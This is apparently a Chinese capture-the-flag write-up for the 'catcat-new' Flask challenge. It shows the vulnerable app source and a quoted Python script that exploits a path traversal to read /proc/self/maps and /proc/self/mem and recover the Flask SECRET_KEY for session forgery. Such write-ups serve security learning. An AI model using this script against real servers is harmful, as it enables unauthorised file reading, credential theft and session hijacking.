FlaskSession伪造-攻防世界-catcat-new

打开环境,几个关于猫的图片列表,随便点进去一个看看观察url变化。

发现多了个file参数。尝试目录穿越,多试几次,可以看到/etc/passwd。

参考之前的文章,查看当前的进程/proc/self/cmdline,出现python app.py源码文件。继续尝试得到源码

格式化后如下:

python 复制代码
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

# Flag初始化
flag = ""

# Flask应用初始化
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)

# 设置SECRET_KEY(每次启动随机生成)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

# 读取并删除flag文件
if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
    """首页:列出details目录中的所有文件"""
    detailtxt = os.listdir('./details/')
    cats_list = []

    for i in detailtxt:
        # 提取文件名(去掉扩展名)
        cats_list.append(i[:i.index('.')])

    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
    """文件查看接口:存在路径遍历漏洞"""
    # 漏洞点:未过滤用户输入的file参数
    filename = "./details/" + request.args.get('file', "")

    # 获取分页参数
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")

    file_param = request.args.get('file', "")
    name = ""
    if '.' in file_param:
        name = file_param[:file_param.index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    """管理员接口:验证session后返回flag"""
    if session.get('admin') == 1:
        # 直接返回flag
        return flag
    else:
        # 设置admin为0
        session['admin'] = 0
        return "NoNoNo"


if __name__ == '__main__':
    # 启动Flask应用
    app.run(host='0.0.0.0', debug=False, port=5637)

代码比较好理解,就是说路由/admin需要带的session里面让admin=1就行。但是现在admin=0,需要session伪造。伪造的难点就在于我们必须要知道SECRET_KEY,这个题的SECRET_KEY是个随机数+一段固定字符*abcdefgh。

python 复制代码
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

这就不好整了,折腾了好久,未果。。。

观察到代码/info路由里面有个start和end参数,还有个cat方法,读取一下

格式化之后如下:

python 复制代码
# -*- coding: utf-8 -*-
"""
@Time : 2026/1/4 20:35
@Auth : kaikai
@File :cat.py
@IDE :PyCharm
"""

import os
import sys
import getopt


def cat(filename: str, start: int = 0, end: int = 0) -> bytes:
    """
    读取文件的指定范围内容

    Args:
        filename: 文件名
        start: 起始位置(字节)
        end: 结束位置(字节,0表示到文件末尾)

    Returns:
        文件内容的字节数据或错误信息的字节数据
    """
    data = b''

    # 参数类型转换
    try:
        start = int(start)
        end = int(end)
    except (ValueError, TypeError):
        start = 0
        end = 0

    # 验证文件可读性
    if not filename or not os.access(filename, os.R_OK):
        error_msg = f"File `{filename}` does not exist or cannot be read"
        return error_msg.encode()

    try:
        with open(filename, "rb") as f:
            if start >= 0:
                f.seek(start)

                if end > start and end != 0:
                    data = f.read(end - start)
                else:
                    data = f.read()
            else:
                data = f.read()

    except Exception as e:
        error_msg = f"Error reading file `{filename}`: {str(e)}"
        return error_msg.encode()

    return data


def print_help():
    """打印帮助信息"""
    print("[*] Help")
    print("-f --file\tFile name")
    print("-s --start\tStart position")
    print("-e --end\tEnd position")
    print()
    print("[*] Examples of reading /etc/passwd:")
    print("python3 cat.py -f /etc/passwd")
    print("python3 cat.py --file /etc/passwd")
    print("python3 cat.py -f /etc/passwd -s 1")
    print("python3 cat.py -f /etc/passwd -e 5")
    print("python3 cat.py -f /etc/passwd -s 1 -e 5")


def main():
    """主函数"""
    try:
        opts, args = getopt.getopt(
            sys.argv[1:],
            '-h-f:-s:-e:',
            ['help', 'file=', 'start=', 'end=']
        )
    except getopt.GetoptError as e:
        print(f"Error: {e}")
        print_help()
        sys.exit(1)

    filename = ""
    start = 0
    end = 0

    for opt_name, opt_value in opts:
        if opt_name in ('-h', '--help'):
            print_help()
            sys.exit(0)

        elif opt_name in ('-f', '--file'):
            filename = opt_value

        elif opt_name in ('-s', '--start'):
            start = opt_value

        elif opt_name in ('-e', '--end'):
            end = opt_value

    if filename:
        try:
            result = cat(filename, start, end)
            print(result.decode('utf-8', errors='replace'))
        except Exception as e:
            print(f"Error: {e}")
    else:
        print("No file specified")
        print_help()
        sys.exit(1)


if __name__ == '__main__':
    main()

意思就是给我一个文件,再给一个start和一个end,就可以读取他们之间的内容。但是这跟SECRET_KEY有啥关系呢???

无奈之下,参考WP,发现果然没有一点儿信息是多余的,这俩参数能派上大用场。

扩展:python存储对象的位置在堆上。app是个Flask对象,而SECRET_KEY在app.config['SECRET_KEY'],读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY。不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值。可参考https://www.jianshu.com/p/3fba2e5b1e17。看一下这个/proc/self/maps

啥也看不懂。直接贴上大佬的解析代码:

python 复制代码
# coding=utf-8

import requests
import re


# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
url = "http://61.147.171.35:52615/"
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    # 匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)

        # 设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

就是根据格式找固定的区间,然后再根据起始位置读取/proc/self/mem,再正则匹配后面的一串固定字符,成功拿到SECRET_KEY。

有可key,就可以进行伪造了,具体可参考前面的文章

https://blog.csdn.net/weixin_35720396/article/details/155484564?spm=1011.2415.3001.5331

好奇这个题,真的有人不看WP可以做出来吗?

相关推荐
玄同7654 小时前
Python 后端三剑客:FastAPI/Flask/Django 对比与 LLM 开发选型指南
人工智能·python·机器学习·自然语言处理·django·flask·fastapi
乔江seven1 天前
【Flask 进阶】3 从同步到异步:基于 Redis 任务队列解决 API 高并发与长耗时任务阻塞
redis·python·flask
云和数据.ChenGuang1 天前
python 面向对象基础入门
开发语言·前端·python·django·flask
Leinwin2 天前
Moltbot 部署至 Azure Web App 完整指南:从本地到云端的安全高效跃迁
后端·python·flask
2401_841495642 天前
【Web开发】基于Flask搭建简单的应用网站
后端·python·flask·视图函数·应用实例·路由装饰器·调试模式
极客小云2 天前
【基于AI的自动商品试用系统:不仅仅是虚拟试衣!】
javascript·python·django·flask·github·pyqt·fastapi
Andy Dennis2 天前
StreamFlow Player——局域网视频浏览中心
flask·传媒·pocket3
码界奇点3 天前
基于Flask与OpenSSL的自签证书管理系统设计与实现
后端·python·flask·毕业设计·飞书·源代码管理
分享牛3 天前
LangChain4j从入门到精通-11-结构化输出
后端·python·flask
乔江seven3 天前
【python轻量级Web框架 Flask 】2 构建稳健 API:集成 MySQL 参数化查询与 DBUtils 连接池
前端·python·mysql·flask·web